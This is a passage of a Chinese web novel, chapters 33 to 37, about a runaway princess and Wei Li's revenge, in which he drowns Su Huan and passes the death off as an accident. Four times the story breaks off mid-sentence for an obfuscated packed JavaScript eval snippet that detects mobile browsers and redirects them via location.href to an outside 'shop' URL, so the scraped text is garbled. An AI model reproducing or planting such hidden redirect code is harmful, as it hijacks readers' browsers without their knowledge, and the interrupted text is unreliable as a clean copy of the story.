如今看清阳公主嫁得这么好,哪能不嫉妒?更何况太子身边的侍女说了,魏离最先想的,是中状元后来聘她为妻!是清阳公主从中作梗!她怎么能不气? “是呀,殿下这要是跟着平宁侯回了云郡,可要吃些苦头的。”苏烟罗难得没有跟冯氏唱反调,这清阳可不能真嫁了魏离,就算嫁了也得不情愿地嫁,否则她哥哥为她做的那些事情算什么? “听说云郡虽然没有卞城寒冷,但是缺衣少食的,艰苦得很!”下头那些侍妾也叽叽喳喳地接起话来。 “听说那边都用不起马车,都是牛车,那牛都臭烘烘的……” 清阳的脸色越来越难看。 冯氏满意地清清嗓子,“都别说了,这不是在给殿下乱担心吗?平宁侯那么周全的人,肯定会给殿下安排好一切的。” 清阳公主早已无心再听她们谈论些什么,脑中浮现的是昨夜绣房送来的凤冠霞帔,很漂亮,金丝绣凤,缀的是少见的琉璃珠子,金色的绣丝盘着玉璎珞,层层叠叠地悬挂着两眼的石榴石。 魏离当真是爱着她的吗?如果不是,那他会怎么对待这门不如意的亲事呢? 她静静地盯着冯氏抬上来的箱子里那把漂亮的银梳子,又想起了他们离别时的那个拥抱,但一晃神,那张俊美白皙的面庞,好似变成了苏延的模样。 ———— 正在众人口中被传得神乎其神、神仙下凡的魏离此时正在厨房里潜心研究桂花糕。浓郁的桂花糖气笼罩在整个小宅子里。 他没有搬家去文帝赏赐的大宅子,而是把平宁侯府的牌匾摘下来挂在了这个自己第一次来京城时买下来的三进小宅子。 他没有那么多闲心去安排侍女仆人,让李倓越他们自己挑个喜欢的宅子暂时住着。 他在这里待不久。 但即灵有些担心,到底是要尚公主的,怎么能没有一个像样的大宅子?她在桂花甜气的包围下,还是走进了厨房,“魏先生,我觉得您还是要收拾出一个像样的宅子来,否则到时候婚礼举行的时候,会伤了公主的脸面的。” 而且她和即荧,也得搬出去自己买个宅子住,她这一年半可没少听说清阳公主的事迹,那清阳公主不是个能容人的,要是等她嫁过来他们还在,他俩还不得扒层皮。 而且……也不知道小荧有没有把那件事情告诉魏离。 “我已经叫李倓越他们帮我找人看了,这个心你就别操了。”魏离笑着将刚出炉的桂花糕装好盘递给她,“拿出去和小荧一起吃。” “好。”即灵接过画着纯白色水仙花的瓷盘,盘中是仔细堆叠在一起、撒着些桂花干花的白色糕点,用模具做了个月饼的形状来。 好香啊!她一直以为魏离不会做饭,因为从没见过他下厨,没想到能做出这么香的桂花糕。 “去吧,这跟京城的桂花糕不一样,是我从云城学的。”魏离见她呆在原地不动弹,有些奇怪,“你还有什么事要说吗?” “没、没有了。”即灵还是没有把那件事说出口,捧着一团桂花香气出了厨房。 魏离知道她想要说什么,是清阳公主和苏延的事情,还有满城流传的“云郡贫苦”。这些消息是他传出去的,当年苏柳玉在和太后一同平息流言的时候就留了一手。 他重新洗干净手,开始准备晚餐,吃了即灵那么多顿饭,今天他也亲自下厨准备一次。 这次,也许就是最后一次了。他透过厨房的窗棂,清晰地看见两姐弟在外头嬉闹,摇了一树桂花下来。 ———— 魏离和清阳公主的喜日是在中秋。 八月初十,太子在东宫发了好大一顿脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588188|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气 八月十一,苏大公子失踪,苏府上下大乱。 八月十五,满城的百姓都挤在路边,试图看清楚这据说有史以来最长最壮观的送亲队伍,听说那位平宁侯怕公主不适应,特地买下隔壁的宅子,将两个宅子联通,雇了全城的工匠来按照公主在宫里的寝殿造了座花园。 送亲的队伍正行到京城最繁华的街道,鼓乐声震天,连带着街边的百姓也兴奋起来,漫天都是平宁侯雇人撒的喜钱,红色的小纸包从天上飘落,满街的人们都开始抢着捡地上的喜钱沾喜气。 队伍的最前方,是宫里来的身着华贵彩衣的嬷嬷们,她们手持彩绸,带着喜庆的笑脸,引着整个队伍慢慢向前。清澈的少女们跟在队伍边上唱和着吉祥的喜调子。 再往后是穿着大红色喜服,骑在戴着大红绸的高头大马上的魏离,他笑得很高兴,往着街边聚在一起的孩子堆又撒了一把喜糖。 紧随其后的,金碧辉煌的花轿,比起苏家送即灵去见郁恒京的那顶小轿更加华贵,红绸彩绸上,绣满了精美的图案,缀着各式各样的彩饰,在阳光的照耀下熠熠生辉,宛如一座移动的小宫殿。 送亲队伍两旁,是浩浩荡荡的陪嫁队伍。侍卫随从们在李倓越的带领下抬着装满嫁妆的箱子,每一步都走得小心翼翼,生怕里面贵重的东西有什么闪失,整个陪嫁队伍长的一眼望不到头! 在这样喜庆的氛围渲染下,连带着街边的商贩们都更有干劲,卖力地招呼客人。孩童们在人群中穿梭,可爱的笑声掺杂进震天的鼓声中,带的气氛更加欢乐。 街道两旁早就贴满了大红的喜字,魏离让人把整个迎亲的道路都装点了一遍。 英俊的新郎带着小宫殿似的花轿和数不清的嫁妆回到了自己准备好的大房子,满心欢喜地准备掀开轿帘,轿门边上的嬷嬷有一瞬间的僵硬,低着头不知道在想些什么。 魏离上前,看见轿帘底下露出来一双穿着金凤红缎鞋的脚,那双脚上有几道细微的裂痕。 他停下脚步,缩回悬在半空的手,“我魏离出身微贱,在殿下心中,仍旧是配不上的。” “驸马爷这说的什么话,怎么会配不上呢,两人只要心意相通,哪有什么配不配得上之说!何况这还是陛下亲赐的婚!”一边的嬷嬷有些紧张,笑着看向魏离。 “可这轿子里,坐的分明是个洒扫宫女,哪里是公主殿下?”魏离嗤笑一声,似是自嘲,“罢了,殿下不愿意,我也不强求。但殿下明明可以和陛下商议免了这桩婚事,何必让我出这大笑话呢?” “怎么可能呢,还请驸马快些接殿下下轿,莫要误了吉时呀!”嬷嬷浑身都要被汗浸透了,祈祷着魏离不会当场扯盖头。 魏离也不再多说,当着太子和众人的面,掀开了轿帘,将轿子里坐着的女人扶下来,伸手轻轻揭下她的盖头。 太子的脸色骤然变得很难看。 用金丝线绣着花开富贵的红盖头飘落在一旁的地上,沾上些尘土,连带着鲜明的颜色都暗淡下来。那宫女颤抖着跪下,华贵的婚服被地上的扬尘染上些沉色,她咿咿呀呀地比划着磕头。 喧闹的现场突然变得安静,只剩下她不断磕头的声响,“咚、咚、咚”。 34. 第 34 章 “别磕了。”魏离丢下手中的红绸,将不断哭泣着的哑女扶起来,殷红的血液从她的额顶流下来。 魏离有些于心不忍,让即灵将她带下去上些药,又看向一边脸色难看得几乎下一秒就要爆发的李焕,“请太子殿下帮不归找找殿下的下落吧。” “好。”李焕几乎是从牙缝里挤出来的声音。他从未想过清阳居然会如此大胆,也不曾与他商议,如今倒真是不知道如何收场了。 魏离对着周围已经聚过来瞧热闹的宾客行了个礼,勉强露出一个笑容,“今日虽是耽误了礼仪,但宴席照旧,就当是我大宁重新收回云边十六郡的庆功宴,大家尽兴。” 来的各位都是有头有脸的人物,虽然明眼人都能看出来是新娘子跑了,但也没人会摆在明面上戳如今得陛下青眼的新贵痛处,安静了一瞬间,又热热闹闹地散开了,往宴席那去。 除了苏桓。苏桓与魏离并无明面上的仇怨,所以即荧在帮忙拟邀请名单时也加上了他的名字。此时他正在混乱的人群里看着正转身和太子殿下谈话的魏离,越看越觉得魏离身上的气质熟悉,但始终找不到那丝熟悉感出自哪里。所幸跟着人群一起往宴席那边去。 魏离看着众人远去,才重新面对正扶额头痛的李焕,“此事,太子殿下知晓吗?” 上次和他见面,已经是一年半前了吧?不,也许更久。 李焕对上一身新郎吉服,精心打扮过,面如冠玉唇若涂脂的魏离那带着些勉强笑意的眼睛,头更痛了。 还想着靠清阳再把这个跟他离心的状元拉回来,反倒推得更远了。他深吸一口气,闭上眼,“都给我找,掘地三尺也要把清阳公主给我找回来!” ———— 自午时未成的婚礼之后,满城都是李焕和文帝的手下,无头苍蝇似的乱窜,差点将整个京城都翻过来。 不过,一直到月亮东升,也没有一丝线索。这天十五的月亮,跟那年一样明亮,满大街人头攒动,当初投壶的小摊边上也如旧,挤满了少爷小姐,就为了博个好彩头。 当然也包括苏思妍和苏思云两姐妹。不过,今年倒是没有和她们的好大哥苏延一起出门。 据说是苏延病了。 “哪有当姘头的病得这么巧,早不病晚不病的?”魏离刚用还未找到下落的清阳公主做借口,将礼部尚书崔仪推荐的孙女挡回去,一个人在花园里走了两步,正巧撞上还未复职的苏桓,“您说是吧?苏大人?” 苏桓对自己儿子干的事情当人一清二楚,自然知道魏离想说什么,“侯爷和公主的婚事,可还未成礼,他自然算不得什么当姘头的。坊间不是都流传着一句话吗?” 两人并肩往花园深处走着,再往前,就是魏离特地挖好的荷花池,池子里还养了几十尾名贵的七彩锦鲤,远远望去,整片湖无风不起波,平静得好似是特地找来巨大的玉璧镶嵌在地上一样。 “不被爱的才是小三。”苏桓捋捋刚蓄上的胡子,“可惜了侯爷精心打造的如此壮观的花园。” “当然了,爱情也是将就先来后到的,我自然知道自己比不上早就和清阳殿下玩在一起的苏大少爷。”魏离将手中的端着的酒一饮而尽,“不如苏大人猜猜,太子殿下和陛下会不会在今夜找到苏大公子和公主殿下?” “下官看侯爷是喝醉了,苏延怎么会和公主殿下待在一起?苏延得了风寒,正在家卧床不起呢。”苏桓笑着看向魏离在月光下显得格外明亮的眼睛,白皙的皮肤泛着些红色,在月光下显得格外漂亮。 更熟悉了,这双眼睛。 “因为,我把他们送到一起了呀。”魏离眼见着两人终于散步到湖边,也不再说些弯弯绕绕的话,伸手一推,人到中年的文弱书生、不识水性、前户部尚书苏桓,毫无防备地跌落池水。 看起来并不深的荷花池,他扑腾了两下竟发现自己的脚够不着底。月光下的荷花池在他的扑腾下泛起阵阵涟漪,波光粼粼格外动人。 “魏离!”他努力扑腾着呛了一肚子水。 “还漂亮吗?这个花园。”魏离蹲在岸边看着他扑腾,越来越大的水花溅起来,水珠一颗颗地落在翠绿的荷叶上,盈盈地滚动着。 水很凉,也算是快到深秋了,苏柳玉的祭日在一个月多前。 他笑得很开心,自下山以来,第一次这么开心,“这个花园和这个池子,都是为你建造的。”连为苏桓指路的小书童,都是特定从卞城叫过来的周聚。 足够大足够深的湖,大到能够让外面的宾客都听不见苏桓呼救声的花园,都是魏离精心打造的。 只是让苏桓停职,让苏家流放,根本无法弥补苏柳玉所经受的苦痛。 “你!”苏桓还在水面上扑腾着。 他看着魏离有些癫狂却实在美丽的笑容,慢慢地和记忆中的另一张美人面重叠,猛然想起了什么,“你是!你是她的孩子!!!”她不是只有三个孩子吗?哪里多出来的魏离? “猜对咯,苏、尚、书。”魏离将身上的外袍扯下,确定即荧安排好人守住花园的两端后,纵身一跃也落入水中。 “你有这样的经历吗?”苏桓落得不远,魏离很轻易就游到了他的身边,轻而易举地抓住他还在扑腾着保持平衡的两只手,还能空出一只手来按住他的脑袋。 苏桓的脑袋被魏离猛地按到水里,整个肺腔和食道都猝不及防地呛了一堆水,还来不及闭上的眼睛能够清晰地看见水底的淤泥和漂亮的锦鲤。 他努力挣扎着,却发现魏离的力气格外大,他根本挣不开! 一大串的泡泡从魏离手边冒出来,估摸着时间差不多,又抓着苏桓的头发将他的脑袋拉离水面。 “我!我可是……咕噜咕噜”他不等苏桓说完任何话,又将那颗他恨不得割下来喂狗的脑袋重新按下去。 如此重复几次,直到月亮升到正中时,魏离重新将他的脑袋拉离水面,盯着他被湖水呛得发红的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588189|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“要求饶吗?苏大人?” “求、求你、放过我,当年都是我的错。”苏桓的眼泪倒是真的从发红的眼眶里落下,和冰凉的湖水混到一起,虽然他不觉得魏离敢真的溺死他,但他也不想继续在这冰冷的湖里受罪,只要能出去,他早晚会报复回来。 他现在最后悔的事情就是当年去玄山寺时,没把静斋老贼一起送回周朝! “晚了。”魏离在月光下露出一个微笑,温和得就像看见了自己的母亲。 “不要!不要!你会后悔的!”苏桓看见这个在月光下被波光粼粼水面映衬得格外美好的笑容时,才真正的明白,魏离不是为了折磨他、吓唬他,是真的要他的命! “我当年还帮你……”他话都没来得及说完,口鼻又重新接触到冰冷的水面,真的好冷。 “帮的是我吗?帮的是苏烟罗吧……”魏离轻轻伏在他的耳边,“放心吧,你最爱的女儿、儿子、妻子,都会下去陪你的。” 苍白的月色下,几支晚荷如今才真正地盛开,粉花绿叶,亭亭玉立于银波之中,月光穿透薄瓣,透出淡淡的银辉,连带着荷叶表面也泛起一层淡淡的银辉,水珠在叶面上滚动,闪烁着晶莹的光芒,如同镶嵌在绿玉上的珍珠。 微风拂过,荷叶轻轻摇曳,发出沙沙的声响,水面重归宁静。 外头的宴席也慢慢变得安静了。魏离重新拎上外袍,撬松了湖边的砖块,披着一身月色,带着一地蜿蜒的水迹离开了这个他精心打造的漂亮花园。 等他换好衣服重新衣冠楚楚地出现在各位宾客面前时,即荧掐好时间走上前,“太子殿下说,找到清阳公主了。” 这下宴席中,醉的、未醉的都精神了不少。说不好奇清阳公主的去向是假的,大家都竖起耳朵认真听着,生怕漏过半个字。 但魏离只回了个“好”字。 不过魏离起身了,看样子是准备亲自去看看公主殿下在哪里。 本来准备告辞的各位宾客又来精神了,跟着魏离的脚步就往外走,虽然窥探人家的私事不好,但是这么多人,陛下和魏离应该也不会说些什么,法不责众嘛。 但当众人保持距离跟上即荧和魏离,来到人烟罕至的城东巷子里最富贵的一间宅子门口时,他们还惊讶了一下。 院子里头还传出些女子的哭泣声,如怨如诉,大半夜的若是一个人来到这鲜少有人烟的东巷,还听见女子的哭声,大抵都得吓掉半条魂,但这次是大家一起来吃瓜。 一想到这,有些退缩的人们离前头的两位少年英才又更近了一点。 他们看见那最年轻的大将军在微微有些火光的宅子门前犹豫了一会儿,似乎是不愿意面对里面的人和事,还是即大人替他推开的门。 那门一推开,原本在外头看起来有些微弱渗人的火光也变得明亮起来。 众人又走进了些,纷纷看向哭声的源处,看着地上被太子殿下打没了半条命的人影,都愣住了。 35. 第 35 章 清阳公主正被宫人围着拦住,地上趴着挨打的,正是苏家大少爷。 苏延身上穿着的白色里衣被院子里人们来来往往扬起的尘土染成了黄白色,如今正被两个侍卫按着挨打。李焕这次是真气狠了,一点手都没留,苏延的衣裳上浅浅地印出些血迹来。 “殿下!殿下!哥哥他不是有意的……”苏烟罗正跪在李焕脚旁抱着他的大腿,哭的梨花带雨,连妆都花了,努力替已经疼的说不出话的哥哥求饶,“他只是……只是太爱公主殿下了!”要是没了苏延,她在东宫可还怎么立足啊? “滚开!”李焕今晚听她叫唤已经听了快一个时辰了,本就烦闷,一脚把她甩开,他就不信了,这件事没这个蠢女人的插手。 不是苏延的错,难道还能说是清阳公主勾引他吗?魏离在一旁安静地看着乱作一团的人们,心中觉得有些好笑,便也不出声,静静地站在门边。 远处的宾客只隐约听见些哭声,也不能清晰地看见里面的景象,所幸偷偷趴到门边看着,这可是这几年来最大的八卦! “皇兄,求您放过他吧!”清阳公主实在是不忍心看自己的情郎被打得半死不活,“我是自愿逃婚的,跟他没有关系!我不想去那边远的云郡,从此见不着你们!” “你闭嘴。”李焕暂时不想听清阳讲任何一句话,已经够乱的了,就让苏延一个人担着,反正苏尚书也已经倒了,苏家的重要性也越来越低。 “皇兄!”清阳公主“扑通”一声跪下,“求您了!” 清亮的月亮已经西斜,柔和明亮的月光混合着宫人手中灯笼的光芒照耀在她的脸上,满脸的闪烁着像自取灭亡的萤火。 “放过他,那我呢?”魏离缓缓开口,没有人注意到他在门口站了多久。月光倾洒在他的身上,镀上一层银色光辉,他微微一笑,一脸哀恸,“我算什么呢?殿下。” “我……”清阳公主跪在地上,竟是有些慌了神,不敢看他的眼睛,望见他身边的即荧,更慌张了,再往外看,更慌张了。 门外是一颗颗充满好奇心的脑袋。 “是我回来晚了。”魏离轻轻地摇了摇头,满院的目光都聚集在他的身上,“明明是殿下先许下的诺言,也是殿下求陛下赐的婚,为什么要破坏它,为什么要给我这样的希冀呢?” 即荧第一次感受到魏离的演技,温柔哀婉的语调,可比他年幼时在画舫上见到的还动人。 满场寂静,就是连苏延也不敢再叫出声来,只听见那根棒子挥舞的破空声响。 这件事是他苏延使了下作的手段,硬要抢魏离的姻缘。可魏离已经有那么多了,分他一点又怎么样。何况是他先跟清阳公主两情相悦的,要不是他横插一脚,该被赐婚的是他苏延!不是魏离! 就连家里出事,也是魏离害的,那日在山顶上,他就该死!这样状元是自己的,清阳公主也是自己的! 但他确实有愧于魏离,他也知道,魏离从头到尾都是通过正当的手段进行竞争,从未使过什么手段。 他忍住身上的疼痛,紧紧地盯着魏离。 “原是我一厢情愿。”魏离从怀中掏出那日离开京城之前,清阳公主送给他的荷包,藕粉色的荷包上绣着一对并蒂莲花。 轻飘飘的荷包稳稳地越过宫人,落到清阳公主的面前,“也罢,我一介乡绅之子,哪里配得上殿下金枝玉叶。” 魏离顶着身后十几个脑袋的目光,稳步朝一双眼睛从未离开过自己身上的苏延走去,用脚尖勾起他的下巴,居高临下地看着他,“什么东西都要抢来的才美吗?” 苏延被迫抬起脑袋,吊着眼睛看他,口中迟迟吐不出什么话来。 “我本就不愿与苏公子为敌,为何你苏家苦苦相逼?那日在华山顶上我侥幸保住周朝七皇子和自己的性命,我也没有对外说过苏家一句不是。今日你做下这种更见不得人的事情,难道不怕玄山寺上的苏家列祖列宗谴责吗?”魏离盯着苏延因震惊而放大的瞳孔,心中划过一丝快意。 魏离怎么会知道苏家祠堂悄悄修在玄山寺里?不应该有人知道的!素日里,父亲只带他一个个人上山祭拜过先祖!玄山寺是皇家祠堂所在,不允许普通百姓放自家的牌位上去的!华山遇刺魏离没有证据,但祠堂就在那,一查就清楚!苏延惊恐地看向他微微张开的嘴,生怕他再说出什么事情。 也许是感受到他的心声吧,魏离移开脚,转身看向躲在李焕身后,摔乱了发髻,花着一张脸,哭的梨花带雨的苏烟罗,“我素来觉得苏公子是正人君子,不会主动做出这等丑事。而清阳公主也是闺秀之典范,今日之事必定是有人挑唆。对吧?苏小姐?” 苏烟罗不明白,炮火是怎么转移到自己身上的,但她清楚,这件事绝对不能落到自己头上!可也不能推苏延出去啊!清阳公主你快开口啊! “听说苏小姐先前有位姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588190|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,师从太后,本是要嫁太子殿下做太子妃的。没成想婚前几个月遇上山火,红颜变枯骨。”魏离看向李焕,眼中不带一点感情,“太子殿下还和我提起过此事。听说那位小姐会住到山上去,也是苏小姐让苏大人将她孤身一人赶出去的?” “她从小就在山中长大,我什么时候赶过她?”苏烟罗不明白这件事怎么能扯到苏柳玉身上,“我与侯爷无冤无仇,侯爷为何要如此污蔑妾?” “因为苏小姐放火那天,我正好要上山拜见静斋师父,在不远处的桃花树下,亲眼看见你带着人把苏大小姐淹死了。你忘记了?是你亲自点的火油。”魏离看着苏烟罗微微颤抖的肩膀,觉得有些好笑,“等你哼着小调离开的时候,我赶去灭火,但整个屋子已经全被浇过火油了,单凭我一趟趟地取水,根本扑不灭。” “还是那天天降甘霖,才勉强留下个房架子。先前苏家家大业大,我一介书生,不敢为苏大小姐伸冤,如今倒是能心无挂碍地将真相公之于众了。” “你撒谎!”苏烟罗此时已经完全无法维持自己柔弱小意的形象了,这件事更不能认!魏离没有证据!而且事情根本不是他说的那样! 魏离说的确实是假话,但那又怎么样呢?如今大家是信与苏烟罗无冤无仇的他呢?还是已经紧张得快站不住脚的苏烟罗? 但看李焕变换的脸色就知道,是信他的。李焕查过,魏离之前就是在静斋师父那读书温习的。 天快亮了,月光变得不那么明晰,朦胧了起来。 “但凭这件事,我就会怀疑,是苏小姐教唆苏公子做出这种事的。可惜这只是我自己的猜测,没有证据。”魏离退回门边,最后看了一眼仍旧保持着原来的姿势跪在地上一言不发的清阳公主,对着李焕道了个别,“我相信这件事,陛下自有定夺。我先行告退了。” 他正要走出门,冷不丁和门边一整串脑袋对上,差点将酝酿好的情绪冲击得一干二净,“各位大人怎么在这?” 李焕这才注意到门边的一串大臣头,气头上的他这下脸更黑了,他不信魏离不知道这些人在这,家丑不可外扬他不知道吗? 不过正好,最后一场戏,也要开场了。 李倓越带着人气喘吁吁地赶到这别苑门口,正遇上这么多大官还有太子,草草行了个礼,也顾不得好奇院子里的一团乱了,“将军!死人了!” 混在人群里的京兆尹一听,天都塌了。 36. 第 36 章 怎么就死人了呢?一路小跑到挂满红绸喜字的平宁侯府,见到那具被水泡肿了的尸体的京兆尹实在是没想明白。 苏桓是怎么突然溺死的,明明几个时辰前还在和他坐一桌喝酒聊大话。 天边有一丝鱼肚白露出来了,随着天光渐亮,无色的曦光落在沾着水珠的草坪上,折射出彩虹的光彩,浅浅地镀在肿胀发白的尸体上。 京兆尹差人喊来的仵作正在验尸,虽然他粗糙地看过,苏桓是溺死的,但到底还是要出个记录放到案宗里的。 恰巧遇上这件事,苏延得幸没被李焕打死,如今正半死不活地被人抬过来看自己父亲已经变形的尸体。苏烟罗正跟在半死不活的哥哥身侧,当了十几年的闺阁小姐,虽然暗地里弄死了不少人,可她也从未见过死相可怖的尸体,当场吓得尖叫起来。 李焕皱眉,甩了她一巴掌,“叫什么?连自己的父亲都不认得?” “父、父亲?”苏烟罗白皙娇嫩的脸颊上即刻浮现红色的巴掌印,不可置信地看向地上那具因为肿胀而变大的尸体,“是我父亲?” 她也顾不得李焕几乎要黑成锅底的脸,拨开挡在前头的人就往那尸体上扑,真的是她的父亲! 就在她即将碰到尸体的那一瞬间,魏离架住了她,“别耽误仵作验尸。” “一定是你!一定是你杀了我爹!”苏烟罗此刻再也无法劝慰自己冷静持重,红着眼睛挣扎着,“魏离!我家和你有什么仇怨!你要抢我哥哥的功名,还要让我去周朝给人为奴为婢,如今还要害死我爹!要不是你!我怎么会放着尚书府大小姐不坐去做一个妾!” 李焕这下是真的忍不住了,快步走到她身边,照着她的另一边脸颊又来了一巴掌,看着她肿的老高的脸,狠狠掐住她的下巴,“你在胡说些什么?给本宫做妾委屈你了?本宫求着你爬的床?” 魏离突然卸了手上的力气,松开她,她一个没站稳跌坐在地上,凉丝丝的草坪上全是露水,轻而易举地浸透了她的薄裙,“我何时和苏公子抢过功名?他考不上状元难道是因为我在吗?没有我也还有即荧,换做即荧,你们难道也要对一个少吃少穿的穷苦少年下手吗?” “送你去周朝做奴婢也是我向陛下求的?”魏离的身影笼罩在曦光之下,居高临下地看着因为惊惧而浑身无力的苏烟罗,“如今苏尚书的死也要怪在我身上?苏尚书死的时候我在哪?我在你们苏府的别苑看我逃婚的未婚妻为你哥哥求情!” 宁国公世子也开口,“你们苏家也不能看魏将军好欺负,就什么都往他身上甩啊。难道礼部阅卷还能故意判错苏公子的卷子?那日诗会上那个七皇子针对苏小姐,差点闹得整个大宁失了脸面,也是魏将军救场。苏小姐不知感恩就算了,怎么如今还要把杀人的事情往他身上放?” 他这几日天天听着李倓越讲魏离的事迹,如今倒是真觉得魏离是个值得结交的好人。 魏离俯下身凑近她的耳畔,以只有他们两个人听得见的音量轻轻地将每一个字都送到她的心里,“苏府对我下手无数次,我不反击是因为多一事不如少一事,不是因为没那个能力。是我杀的又怎样?你有证据吗?” 就算有证据,如今大宁的局势,虎狼环伺,文帝会舍得罚他吗? 魏离起身,看着她近乎绝望的神情,“苏公子没能中状元,是因为学艺不精。苏小姐自奔为妾,是你自己的选择。苏大人出事的时间段我在哪诸位也都看得很清楚。我理解苏小姐的哀伤,但不要什么锅都往我身上扣。我先前在云郡受了些伤,腰不好。” 此时,仵作的验尸结果也出来了,“诸位大人,死者苏桓,尸体表面湿润,皮肤苍白浮囊,躯体水肿,符合长时间浸泡于水中的特征。头发凌乱,部分粘连于面部或颈部,有水草、泥沙等异物,与水中的水草泥沙一致。衣物湿透但完整,初步判断无外力作用痕迹。全身未见明显外伤、瘀斑或骨折迹象,颈部、口鼻周围及胸腹部无压迫、勒痕或异物堵塞。眼球突出充血,轻度浑浊,无出血点,胸腔内肺部肿胀,发现大量水分少量泥沙藻类。胃内还有为完全消化的酒液和食糜。初步推断死者是醉酒后失足落水,因无人发现导致的溺水死亡。” “这岸边确实有松动的石块。”即荧蹲在那块松动撬开的石块前仔细研究着,他先前帮魏离完善过了,绝不可能有人看得出这是撬开的。 “那……那就是意外溺死的?”京兆尹弱弱地看向在场的最大的人物。 李焕现在根本不想知道苏桓到底怎么死的,随意地点了点头,“尸体送到苏家去,放在这也是晦气。” 确实晦气。大家看向站在李焕身边的魏离,大喜之日新娘逃婚了,好不容去捉奸,奸夫的爹还醉酒死在了新郎准备的新宅子里,是真晦气。也不知道魏离是不是和苏家犯冲。 不过魏离先前串通即荧拉了那么多人下马,今天这些事,指不定是哪家的报复。 “各位就先行回府休息吧,昨日出了这么多事情,未能让大家尽兴,改日再设宴款待大家。”魏离客客气气地将宾客们送出前天刚挂上的平宁侯府牌匾的大门。 因为今日大部分人都还要上早朝,留到半夜的人也不多,都是些世家公子和空闲时间多的官员,送的很快。 李焕依旧在河边,他等京兆尹的人把苏桓的尸体抬走后,才让人把清阳公主带过来。 魏离回到湖边时,正看见他让人把苏延抬回家,至于苏烟罗,她坐在湖边愣愣地流着累,倒是重新染上了几分少女时的我见犹怜。 李焕对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588191|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏烟罗还是有感情的,她可是这快两年来,东宫里最得宠的侍妾。若不是有点感情,在苏桓失势时就当把她丢在一边了。 “两位殿下也回去歇着吧。”昨天这点事,想必将他和文帝都气的不轻。魏离亲手给他们俩端来热汤,“日日夜夜魂牵梦萦困扰,应该也消耗了殿下不少精气神,这是我刚让人熬好的补气汤。” “这件事是清阳的错,她对不住你。”李焕接过那碗热汤,他一早就知道清阳公主和苏延的事情,但他没想过清阳公主会为了那个苏延放弃魏离。以魏离的本事,不应该让清阳离心,除非,他是故意的。 就算魏离是故意的,如今他也无法质问,因为满城的人都知道她的妹妹逃婚了。 “是我的错,一心付与战事之上,忽视了殿下。”魏离将另一碗热汤递给呆呆站在原地的清阳公主,“不怪殿下。祝殿下与苏公子,百年好合。” 清阳公主已经很累了,从和苏延悄悄重燃旧情开始就很累了,她不明白自己为什么会重新喜欢上苏延,也不明白自己下定决心和苏延私奔,却又放不下魏离。 是她害苏延变成如今模样的,如果她没有犹豫,直接出城的话,他们是不会被抓到的。 可她放不下魏离。 她捧着温暖的汤,看着晨光下魏离俊朗白皙的侧颜,那些初遇时的热烈和悸动好像又重新回到她的胸膛之中,她不明白自己怎么会花心成这样。 她张了张嘴想要说些什么,却一个字都吐不出来,好像有一块软木塞,紧紧地塞住了她的喉咙。 好难受。 眼泪不受控制地滚落下来,一颗颗地落入手上的汤里。 魏离似乎感觉到什么,停止了和李焕的交谈,看向捧着汤落泪的少女,她独自一人站在稍远处,背对着晨光,呆滞地望着他。 李焕也看见了,点点头示意魏离过去。 魏离重新站在清阳公主的面前,取了怀中的帕子轻轻地为她擦拭着满脸的泪花,“不是殿下的错。人心都是会随着时间和事物变化的,本就没有什么永恒的感情,只有坚定的底线。殿下只是被有心人设计影响了心中的感情,我不会怪你的。” 这个有心人,当然就是他了。 离京那日前,他就安排好了即荧准备实施促成苏延和清阳公主的重逢、旧情复燃和私定终身的计划。这一切都是他写好的剧本,他不可能娶清阳公主的,也没必要让她对一个早晚要“死”的“魏离”情根深种。 “不……是我的错。”清阳公主抱着汤碗一饮而尽,“我会去找父皇认错的。” 就算去找文帝认错,也救不了苏延的,苏延这辈子都只能做一个翰林院编修了,当然,魏离不可能让他这么好过的。 李焕也不会。 37.第 37 章 平宁侯婚宴的八卦在第二天一早就传遍了整个京城,文帝的旨意亦然。 